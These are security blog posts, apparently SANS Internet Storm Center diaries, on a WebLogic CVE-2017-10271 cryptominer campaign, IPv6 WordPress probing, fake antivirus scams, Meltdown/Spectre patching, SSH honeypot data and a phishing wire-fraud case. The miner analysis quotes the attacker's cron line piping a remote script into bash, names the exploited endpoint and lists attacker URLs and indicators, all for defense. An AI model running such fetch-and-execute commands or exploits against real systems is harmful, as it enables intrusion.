    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2607:f298:5:100f::76c:545a: 1 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2607:f298:5:104b::fc5:7e49: 2 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2607:f298:5:110b::6c5:436f: 1 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2607:f298:5:115b::40e:3c25: 3 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2607:f298:5:115b::b4d:cc90: 5 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2607:f298:5:6000::36d:2f48: 1 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2607:f298:6:a066::c55:8af1: 3 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2a03:6f00:1::5c35:72f5: 2 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 64.13.192.15: 1 Time(s)

We've talked for years about IPv6 and it is a growing percentage of the traffic on the internet, but we haven't really heard about many attacks over IPv6. Clearly, many of the attacks that occur over IPv4 can happen over IPv6 once the bad guys determine that it is worth the effort. Apparently, there are some folks out there who have decided that attacking WordPress is worth the effort. I don't know what kind of ROI (return on investment) they are getting out of it yet, but attacks over IPv6 are only going to increase as we move forward, so we'd better be building up our monitoring and defenses to meet the challenge.

What do you think? Are you monitoring IPv6 to the same extent as IPv4? Are you seeing attacks over IPv6? If so, what? Let us know in the comments or via our contact page.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

Join me to learn about Malware Analysis

Upcoming Courses Taught By Jim Clausing

Type	Course / Location	Date
Community SANS	FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques Community SANS Minneapolis FOR610 Minneapolis, MN	Mar 5, 2018 - Mar 10, 2018
Community SANS	FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques Community SANS Columbia FOR610 Columbia, MD	Mar 26, 2018 - Mar 31, 2018

Yesterday, Renato published a diary about an intrusion taking advantage of a recent flaw in WebLogic. Oracle’s WebLogic is a Java EE application server [1]. PeopleSoft, another popular Oracle product can use WebLogic as a web server. PeopleSoft itself is a complex enterprise process management system. The name implies human resource functions, but the software goes way beyond simple HR features. Typically, “everything” in an organization lives in PeopleSoft [2].

As you can probably imagine, a compromise of a PeopleSoft system is pretty much a worst-case compromise for an organization.

When Renato got involved in the incident he described on Monday; he was surprised that the “only” thing he found was a crypto coin miner. An attacker would probably have been able to do a lot more damage to an organization by exfiltrating the data that lives on the system, or worse, modify it.

The Vulnerability

The vulnerability exploited, CVE-2017-10271 has a CVSS score of 9.8 (Critical) and is easily exploitable. In October 2017 Oracle released a patch as part of its quarterly Critical Patch Update.

End of December, Lian Zhang, a Chinese security researcher, released an exploit script to take advantage of the exploit. Lian's post may not be the first, but this looks like the exploit that was used in the attack discussed here, and the post appears to have started an increased interest in this flaw. Lian’s blog is talking about CVE 2017-3506, but the exploit matches CVE-2017-10271. Oracle’s April CPU patched CVE 2017-3506, but it didn’t do so completely, leaving an opening that let to CVE-2017-10271.

Either way, you could probably call it either vulnerability. The cause is as so often insecure deserialization. Oracle’s fix was to add a validate method that checks an object is passed, and if it is, then it will throw an exception. Probably the best blog I found about these two vulnerabilities and how they relate is the one by [5].

What Happened Next

Starting at the end of December first reports were published about this exploit being used to install crypto miners. We did see a couple of different URLs being used to install the miner:

hxxp://165.227.215. 25 – the base URL reported by Renato yesterday. No longer reachable

hxxp://www.viewyng. com/includes/libraries – base URL for another victim. Still reachable as of today (1/9/2018).

Hxxp://letoscribe. ru/includes – base URL observed by another victim. Still reachable as of today (1/9/2018)

The exploit will download a simple bash file that will:

• Find a working directory (/tmp, /var/tmp or ${PWD}, the current directory)
• Kill any existing miners on the system
• Create a CRON job to download the miner:
  3 2,5,8,11,14,17,30 * * * curl –s \”$setupurl\” | bash” > “${cronfile}”
• Create a subdirectory “.X1MUnix”
• Download the miner (either called xmrig or fs-manager)

The Miner

The miner, xmrig, is not exactly malware. It is a legit crypto coin miner for Monero. The miner comes with a configuration file showing us where the money will go that is mined using this application. Renato was able to recover one such configuration file, and the pool the miner was connecting to does show that up to this point, 611 Monero coins were mined by this user, which amounts to about $226,070 currently. The hash rate of this user of 450 KH/s would only support $31k per month so that this user may be at it for a while, or some systems were already cleaned up and are no longer participating in the effort.

Renato also recovered files from another campaign using the same vulnerability. This group opted for mining AEON instead of Monero. Even though they are achieving a similar hash rate, they only earned about $ 6k so far. Maybe they will switch to Monero after reading this.

The Victims

The exploited vulnerability affects WebLogic, but we did see some PeopleSoft servers exploited. PeopleSoft, being a very complex application, is difficult to patch and maintain. The exploit bash script will “register” new victims with the attacker’s server, and we managed to get a hold of one of the logs left behind by the attacker. The log started on January 4^th and 8 am ET. It is still seeing new connections right now (January 9^th 8 am ET). The last log I retrieved includes 722 IP addresses.

Based on a quick reverse DNS lookup and an ASN lookup, I found a high concentration of affected IPs at cloud providers. This isn’t a surprise since many organizations are moving their most critical data to the cloud to make it easier for the bad guys to get to it. Also, not a big surprise is the relatively high percentage of IPs in Oracle’s cloud. The exploit does attack a key Oracle component.

The victims are distributed worldwide. This isn’t a targeted attack. Once the exploit was published, anybody with limited scripting skills was able to participate in taking down WebLogic (/PeopleSoft) servers.

(image credit: Renato Marinho)

If You Are a Victim

Please DO NOT stop your incident response by removing the miner. Your server was vulnerable to an easily executed remote code execution exploit. It is very likely that more sophisticated attackers used this to gain a persistent foothold on the system. In this case, the only “persistence” we noticed was the CRON job. But there are many more, and more difficult to detect, ways to gain persistence.

Indicators of Compromise:

• High CPU Utilization
• Outbound connections to a mining pool (we observed in particular connections to hashvault.pro and these IPs: 145.239.0.84, 104.207.141.144 and 45.76.198.204. (note that some mining pools are behind proxy services like Cloudflare and these may be shared IPs. Same is true for our "Miner IP" feed [6])
• Hashes:
  7153ac617df7aa6f911e361b1f0c8188ca5c142c6aaa8faa2a59b55e0b823c1c  fs-manager
  d7d6ed5b968858699c2f6aee6a0024a4c9574f1c2153f46940476e15194f848e  xmrig-y

Acknowledgements

Thanks to our readers who helped us out with this by sharing details about this intrusion. Also thanks to Renato who wrote this up initially and provided much of the data used here. Thanks to Team Cyrmu’s IP to ASN conversion tools.

[1] http://www.oracle.com/technetwork/middleware/weblogic/overview/index.html
[2] http://www.oracle.com/us/products/applications/peoplesoft-enterprise/overview/index.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2017-10271
[4] http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
[5] https://www.anquanke.com/post/id/92003
[6] https://isc.sans.edu/api/threatlist/miner

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
STI|Twitter|

Introduction

With recent media coverage on Meltdown and Spectre, many other security issues get buried in the mix.  One such issue I've run across for many months now is fake anti-virus (AV) web pages or other unwanted destinations that pop up after viewing a legitimate, but compromised, website.

Shown above:  Flow chart for this activity.

Last week, with the help of @baberpervez2, I found several compromised sites leading to these fake AV pages and other unwanted destinations.  They all had the same characteristics, and I documented how these compromised sites could be found through Google (link).  However, that particular campaign isn't the only one pushing fake AV pages.  I've run across at least one other campaign, which I've documented in this diary.

Details

Below is an example of a fake AV page as seen on a Windows host using Google Chrome.  When I used Internet Explorer, I could not close the popup notifications (they just reappeared), and the browser window would not close unless I killed the process using Task Manager.  This is a social engineering scheme to trick people into calling a fake tech support phone number.  Once you call the number, a fake support technician will walk you through several steps to supposedly fix your computer.  Eventually, you'll be asked for a credit card number to pay for this service.

Shown above:  Example of a fake AV page as seen in Google Chrome.

Judging by the amount of fake AV pages I've come across over the past few months, this type of tech support scam is increasingly popular.  It relies on a large pool of potential victims world-wide.  IT professionals may scoff at these attempts, but using a computer is a lot like driving a car.  Most people can effectively drive a car without fully knowing how it works.  The same is true for most computer users.  Our culture of computer use creates a ready pool of potential victims for this sort of scam.

Another key component for these campaigns is the availability of countless servers world-wide that can be compromised.  Server administration is a continual job that involves frequent patching and software updates.  It is incredibly easy for legitimate websites to fall behind in their security-related patches.  Such servers are often compromised and used for this activity.

From these compromised sites, we see injected script that leads to a fake AV page or some other unwanted destination.  What does the injected script look like?  I've highlighted an example in the image below.

Shown above:  An example of injected script from this campaign.

In the image above, the injected script ends with a call to a .tk domain that, in turn, leads to another .tk domain for the fake AV page.  These domains frequently change, so blocking one of them is only effective for about an hour or so.  These new domains usually change only a few characters from the previous ones.

Below is an example of the traffic filtered in Wireshark.  This shows the compromised site, the first .tk domain, and the second .tk domain hosting a fake AV page.  The fake AV page has several HTTP GET requests for associated images and other items.

Shown above:  An example of the traffic filtered in Wireshark.

Final words

An example of the traffic for the above fake AV activity can be found here.  This is not an isolated incident, and I expect we'll see more fake AV pages and associated tech support scams in 2018.  Although we'll continue to see actual malware, I believe it will remain just as (if not more) profitable for criminals to social engineer victims into providing access to their computers and credit card information.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Unless you’ve been living under a rock (or on a remote island, with no Internet connection), you’ve heard about the latest vulnerabilities that impact modern processors.
I’m sure that most of our readers are scrambling in order to assess the risk, patch systems and what not, so we have decided to write a diary that will clear the confusion a bit and point out some important things that people might not be aware of.

What is this all about?

First, if you haven’t already listened to SANS’ webcast about Meltdown and Spectre by Jake Williams, I strongly suggest that you go and do that – the recording is available at https://www.youtube.com/watch?v=8FFSQwrLsfE
Jake explains everything pretty well (although I think with some minor errors about Spectre that I will try to clear below).

In a nut shell, what do these two vulnerabilities allow an attacker to do?
While I won’t go into technical details here (which are pretty complex – this was in my opinion amazing research, although the Google’s blog could have been a bit easier to read :)), here is what it boils down to:

1. Meltdown allows a local, userland (unprivileged) process to read contents of any memory mapped to the process. This includes kernel memory and this is why this vulnerability is dangerous.
2. Spectre allows a local, userland (unprivileged) process to read contents of memory of other processes (this is where maybe Jake’s presentation wasn’t so clear about). Update 2: Spectre does not allow reading of kernel memory. It looks as Spectre can indeed be used to read kernel memory. Additionally, while it's maybe not 100% clear, from Google's blog post (https://googleprojectzero.blogspot.hr/2018/01/reading-privileged-memory-with-side.html) it definitely appears that this is cross-process.

There is a Spectre PoC out, however in the PoC a single process is used: a secret is set in memory as a character array and then its contents are read by exploiting the vulnerability. This made people think that it’s intra-process only (single process), but it is actually cross process memory ready (see the Spectre paper page 2, Attacks using Native Code, available at Spectre Paper).

Ok, now that we know what the vulnerabilities are about we can assess the risk: as you can see, in both cases, an attacker actually needs to run some code on the target machine to exploit these vulnerabilities.
This makes vulnerabilities highest risk for the following:

• Anything that runs untrusted code on your machine (a browser typically),
• Anything running in virtualization or clouds.

So, for a typical company, on your Domain Controller (for example), the risk is actually very, very low: since you are not running untrusted code there (hopefully), an attacker should not be able to exploit these vulnerabilities in the first place.

For a typical user, the browser presents the highest risk, but we have yet to see proof of concept code that exploits this vulnerability through JavaScript – and browser vendors have started issuing patches as well (for example, Mozilla has issued a new version of Firefox, 57.0.4, where they have decreased the precision of time sources to make attacks such as Spectre more difficult or impossible). If you run stuff as Administrator: Spectre makes no difference for you really.

In other words: the world will not end over the weekend.

What to do now?

Keep an eye on the development and patches released by vendors, but not differently than other patches.
On the contrary, pay special attention to impact of patches: there are known cases where AV programs caused BSOD on systems with the patch. This is actually a reason why Microsoft added a check for a registry key that needs to be set by the AV program to indicate that it’s compatible with the patch: if the key is not present, the patch will not be installed!

If you are installing the patch on a Windows server: be aware that besides installing the patch, a registry key needs to be added manually to enable it: https://support.microsoft.com/en-us/help/4072698/windows-server-guidance-to-protect-against-the-speculative-execution
Without this registry key nothing will happen. Microsoft presumably added this because on servers, impact to performance might be higher (so it’s up to you to take the risk … or not). Test, test, test.
The good thing with this approach is that, once you install the patch and enable the mitigations: if your system blows up you can change the registry keys and disable the mitigations. This will allow you to try out the patch. As I said: test, test, test.

Update 1: fellow handler Didier Stevens did some tests of patches on the Windows platform – as you can see on the screenshot below, the patch for the Spectre vulnerability (CVE-2017-5715) requires a firmware (microcode) update as well.
This means that, if there is no firmware update for your platform, that the patch is useless currently.

Update 3: CPU firmware (microcode updates) can certainly be delivered by the OS vendors, and there have been such cases in the past. This makes it much better for the end-users, since a BIOS update will not be required.
However, there is a down side with this approach: such microcode updates are lost when the CPU is reset or powered down. It means that they need to be applied every time the system boots up. Still, it's a viable solution.

Checking the released updates so far, it appears that RedHat, for example, has included certain microcode updates in their patches (although for only several CPU families it seems). Microsoft, on the other hand, has not done so (who knows why, and whether they will do it).

Update 1/8/2018: Some vendors have already released BIOS updates that mitigate the mentioned issues, so check their web pages (I have verified that Lenovo has released BIOS updates, and successfully installed them).

Finally, we have yet to see what other impacts these (huge) changes will have, besides reducing performance. For example, it appears that the patches will impact ability to capture RAM contents, which might further impact various forensics activities.

We are carefully monitoring everything around these vulnerabilities and will, as always, try to be your source of clear and precise information.
If you have something to add, please contact us here – especially if there are errors in the diary (or post a comment).

--
Bojan
@bojanz

INFIGO IS

Humans have been telling stories to each other much longer than we've had computers.  I still think it's a powerful tool.  Over the holiday I've been telling various updated versions of the "Stone Soup" story to various groups in the security community.  There are many versions of the Stone Soup story.  They all fall into the "clever man" category of the Aarne-Thompson-Uther index.  Think of it as a CVE for folktales.  Specifically, Stone Soup is a type 1548 folktale.  Such stories normally involve a stranger who comes to a house or village and promises to demonstrate that they can make soup from a stone.  The first time that I heard this story, I was in kindergarten and in that telling, travelers came to a poor village who didn't have enough food to spare, so they promised to show them how to make soup from a stone.  First they needed to borrow a pot and some water and some firewood and they began to boil the stone.  Periodically tasting it and noting that it would taste better with an onion, or carrots, or chicken or what have you.  Eventually the makings of a real soup were found by the villagers and a proper soup is made.  At kindergarten, it was a lesson on sharing and coming together.  In this telling of the story everyone wins.

There are, howerver, multiple versions of the tale and it's not always so equitable.  Sometimes the clever man visits upon people who have plenty of food, but are unwilling to share, so they are fooled into providing a meal.  It relies upon the teller of the story to contextualize the tale, they'll choose who is the "good guy," and who is the "bad guy," and determine the lesson that they want to express in the story.

I've told versions of this story where I've chosen the villagers to be good, and the traveller is a charlatain who sells them a magic stone to solve their security troubles.  The lesson being that some security tools are like stone soup where the tool itself doesn't solve the problem, it's just an artifice that won't function until you give it visibility of your network, or you provide it with a proper inventory, or you code it with the right business rules.  It's lesson is that the tools won't do the hard work for you and if you had done the hard work already, you wouldn't need the tool. 

In other versions, the taveller doesn't have to be a charlatain, they can be entertaining and motiviating like in a 1720 version of the story where the villagers weren't being fooled, they bought into the game and everyone has a good time.  A stone-soup-like product could be sold with that kind of openness.  An organization may need help with "hard work" and such a product comes with the support to actually help with that work.  It's when budget and manpower from ongoing internal projects are diverted to a product like this is when there ceases to be a happy-ending.

In another re-telling, I've painted everyone in a mix of good and bad light.  In this version there are three main characters: a miracle-worker, the decision-maker who is convinced by the charlatain to purchase a magic stone to secure the castle, and they existing security staff.  As the security staff puts in all of the effort to make the magic stone functional, they're also partly to blame because they couldn't pull it all together without a magic stone to put it all under.  They weren't able to get the support of the decision-maker without the miracle-worker.  The lesson in that one was that we should be wining and dining our own management, before someone else does.

Telling such tales can be as helpful as humor and anecdotes.  There's more oral tradition to computer security than we would probably like to admit.  Stories are easier to consume than lectures, and may have better recall rates.

Kevin Liston

I'm always curious what is scanning my honeypot but I was particularly interested what kind of client applications are used to attempt to login via SSH into that service. This graph shows the activity for the past week, including 500+ attempts for a period of 8 hours on the 31 Dec which when pretty much flat from 31 Dec 1200Z to 1 Jan 2018 1200Z while everyone celebrated New Year.

Over the past 1, I picked up 18,309 SSH attempt to login the SSH server (graph below) which resulted in detecting 76 different client applications (see graph). Some of those clients are quite common (various release of putty, winscp, etc) while other I have never heard of before (paramiko, jsch, putty_kitty, etc).

I reviewed the 417 list of username use to attempt to "login" for a total of 61,199 attempts over this past week. The most common username are in list such as root, admin, user, etc to various other funny names like superman, ragnarok, sickrage, etc.

[1] https://www.lag.net/paramiko/
[2] http://www.jcraft.com/jsch/examples/Shell.java.html
[3] https://www.fosshub.com/KiTTY.html

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

By now, you've heard about the processor vulnerabilities affecting almost every processor in common use today; those vulnerabilities are called Meltdown and Spectre. The only common platform that seems unaffected as of the current moment are iPhone/iPads (Removed per recent advisory).This bug is probably worth its name and logo considering the pervasive nature of the vulnerability. At its core, both involve kernel issues that can lead to leaking running memory outside the current process which can involve compromises of system confidentiality (think encryption keys, passwords, PII/NPI in memory, etc). Contrary to some initial reporting, this is NOT just an Intel bug, it affects AMD and ARM processors as well. These could even be used in cloud / virtualized environments to leak memory outside the running virtual machine. It involves a flaw in "speculative execution" common in these processors where, in the right conditions, code can trick the processor in leaking data returned from other applications.

Below are advisories of most of the relevant companies. The patches should be considered preliminary to protect against the most obvious paths to this vulnerability, but future patches are likely planned to deal with the potential significant performance hits from these patches and for better mitigation coverage. Spectre, in particular, will require follow-on patching. Due to the nature of these patches, reboots will be required. So in the short term, patch and reboot everything.

The good news is patches are out for almost everything (Microsoft has moved up their monthly patching up a week to today, more on that in a different post). The bad news is, Spectre, in particular can't be completely mitigated by patching as it seems it will require a hardware fix. The good news is that Spectre is harder to exploit.

Firefox's initial testing has shown it is possible to trigger these flaws remotely via web content, so devices that browse the web or execute external content are particularly vulnerable (in particular, malware sandboxes are of a concern to me here which by design are unpatched operating systems). Otherwise, you have to find some way to execute code on the victim machine. The bad news is, the fixes can slow down your devices with some initial (disputed) reporting of an up to 30% performance hit to the CPU.

IoT devices are, again, of particular weakness. They run these same processors but as we know, most consumers never use whatever limited interface to update the devices even when it is necessary, and in this case, more than one update cycle may be required. The best mitigation may be to put these devices in the snow in the street in front of your house and let the plows take care of them. For most IoT devices, getting code running on the device that exploit these flaws will be non-intuitive but that will vary by device. My biggest concern is that someone uses this vulnerability in a controlled environment to find flaws in specific IoT devices (or even default passwords), to create the next Mirai.

So while the advice is "patch now", the problem we will be grappling with is the performance hits (this will be brutal for cloud vendors especially if it's on the scale of 30%) and the follow-on disruptive patching this will require in the coming months.

No known exploitation for this is occuring in the wild, but that will change in the next few days. This dairy will be updated as the situation warrants.

UPDATE 1536 UTC (Bambenek) - Microsoft is actually filtering systems that have not certified compatability with the updates, that means if you are running an anti-virus / endpoint product Microsoft have listed as "safe" you will not get the update. This is designed to prevent BSOD issues. Working on trying to find a good listing of which products are "safe" or not.

UPDATE 1625 UTC (Bambenek) - Microsoft is only releasing the update for these vulnerabilities early, and then only for a partial subset of Windows Operating Systems.

UPDATE 2017-01-05 1700 UTC (Bambenek) - Added Apple advisory, iPhone/iPad devices are affected via Safari/web-browsers.

--
John Bambenek
bambenek \at\ gmail /dot/ com
Fidelis Cybersecurity

     In the last couple of days, we received some reports regarding a malicious campaign which is deploying Monero cryptocurrency miners on victim’s machines. After analyzing a compromised environment, it was possible to realize that a critical Oracle WebLogic flaw, for which the exploit was made public a few days ago, is being used.

     The vulnerability (CVE 2017-10271) [1] is present in WebLogic Web Services component (wls-wsat) and, due to improperly user input sanitizing, it may allow an unauthenticated remote attacker to execute remote arbitrary commands with the privileges of the WebLogic server user. 

      The exploit is pretty simple to execute and comes with a Bash script to make it easy to scan for potential victims. The test script basically checks for the string “Web Services” while accessing the URL <HOST>/wls-wsat/CoordinatorPortType, as seen in the image below.

            
Figure 1 - Vulnerability check

            The vulnerability affects supported versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0 and, at least, the unsupported version 10.3.3.0.

            The dropper script used in this campaign, additionally to download and execute the miner, [accidentally] kills the WebLogic service on target machine – and this may have alerted some victims. In Figure 2, a screenshot of part of the script where "pkill" command is called with the argument "$mName", which value was set to "java" at the beginning of the script. So, killing "java" means killing WebLogic as well. 

Figure 2 – Script killing “java”

         In this case, the campaign objective is to mine cryptocurrencies, but, of course, the vulnerability and exploit can be used for other purposes. Check your environment for this vulnerability and, if necessary, apply the patches as soon as possible.

       It is also recommended that you check if a vulnerable environment may have been already compromised. Analyse carefully processes with a high and constant CPU consumption.

          Additionally, try to find rogue cryptocurrencies miners in your network by correlating the network traffic with the new (beta) SANS ISC feed, which contains IP addresses of miner pools [2].

The indicators for this specific campaign are listed below.

IOCs (Indicators of Compromise)

Network

hxxp://165.227.215.25/
hxxp://165.227.215.25/xmrig-y
hxxps://165.227.215.25/xmrig-y
hxxp://165.227.215.25/java_infected
hxxp://165.227.215.25/xmrig-y%20$mName
hxxp://165.227.215.25/5555
hxxp://165.227.215.25/xmrig-aeon.exe
hxxp://165.227.215.25/xmrig-y.exe
hxxp://165.227.215.25/xmrig-y%20$
hxxp://165.227.215.25/xmrig

We noticed that IP address 165.227.215.25 was both the source of the attacks and the repository of cryptocurrencies miner’s binaries.

Hashes (MD5)

0e0ad37bc72453e4ec2a6029517a8edd
44d3ea4f3542f246a5535c9f114fbb09

Acknowledges

Special thanks to Diego Piffaretti and Victor Matuk for collaborating with me on this analysis.

References

[1] http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.htm
[2] https://isc.sans.edu/api/threatlist/miner

--
Renato Marinho
Morphus Labs | LinkedIn | Twitter

We often focus on malware and hacking in terms of the tools the criminals use, but often good old-fashioned deception is simple enough. A recent case I worked on involves phishing sent to rural real estate professionals (law firms, title companies, realtors, etc). It is particularly effective on targets that use the various web-mail / free e-mail services.

They state by compromising one account, mine the address book for related contacts and purport to send an email about closing documents to their various contacts. Since the pretext is entirely expected, no one is overtly suspicious at this stage. The email ultimately directs to a site like this:

In essence, to retrieve the "sensitive documents" you need to give it your e-mail password. Superficially, it seems reasonable, but in reality it's good old fashioned information theft. The enter their credentials that are stored in a .php flat files saved on the compromised server that is hosting the content. (I was able to retrieve those credentials and pass them on for victim notification).

From there, the attacker repeates the process, using the address book to mine for more contacts and to send more e-mails. Additionally, they put forwarding rules in the e-mail based on a variety of key words looking for an appropriate transaction where they send fake wiring instructions that banks eventually honor where hard currency is sent to a money mule account and the money is then sent along. Since you only have 24 hours more or less to stop such transactions, but it often takes days to notice, the money is long gone and recovery is impossible. In the case I was called in to help, the loss was just under $200,000 to a rural client.

For big transactions, it pays to do some sort of out-of-band verification. A phone call from realtor to client to say "I just set you wiring instructions, did you receive them? Can you confirm the account and routing information?" or for that matter, from the end clients.

These kinds of fraud are all highly manual, but considering the pay day, it's worth it.

Virustotal and urlscan.io both had intel on the domains in question and modern & updates browsers also flagged the page. We have defenses and the intelligence, we need to do better to bring it down to small firms and private individuals.

Know any good browser plug-ins you recommend to friends and family to prevent phishing?

--
John Bambenek
bambenek \at\ gmail /dot/ com
Fidelis Cybersecurity

I received some questions about my diary entry "PDF documents & URLs: update", and to beter explain the analysis method, I created a video.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

How to best start the new year? How about a new tool: what-is-new.py.

It's something I have to do often, and I'm sure you do too: you make lists at regular intervals (for example every week), and you want to know what is new, e.g. what haven't you seen before. This is what my tool what-is-new.py helps you with: you give it text files, and it reports every line it hasn't seen before (it keeps a database).

For example, I use this tool to review the User Agent Strings of the HTTP(S) requests to my web servers. Every week I produce a list of User Agent Strings found in my web server logs, and feed this to what-is-new: this gives me a list of User Agent Strings not seen before.

Detail: the problem is that User Agent Strings contain version numbers, and that makes for a long list of "new" User Agent Strings every week. I solve this problem by using a custom, canonical representation of the User Agent String: I only keep the letters.

For example, User Agent String "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 CyanogenMod/10.2/grouper" becomes "Mozilla X Linux x AppleWebKit KHTML like Gecko Version Safari CyanogenMod grouper".

By using this representation, I have about 50 new User Agent Strings every week.

Here are some interesting ones found in the last months:

Nikto:

Canonical:

Actual:

And apparently, someone visited my site from a Cray supercomputer :-)

"Mozilla/0.3 (Cray UNICOS) Lynx/2.0.113.0"

Some visitors cherish their privacy explicitly:

"Mozilla/5.0 (have a guess) recent but undisclosed"
"Wouldn't You Like To Know!"

And finally, since cryptocurrencies have become so popular:

"whoismining.com Bot/1.0"

This is from a web site that checks if web sites use your browser to mine crypto currencies:

Best wishes from the Internet Storm Center!

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com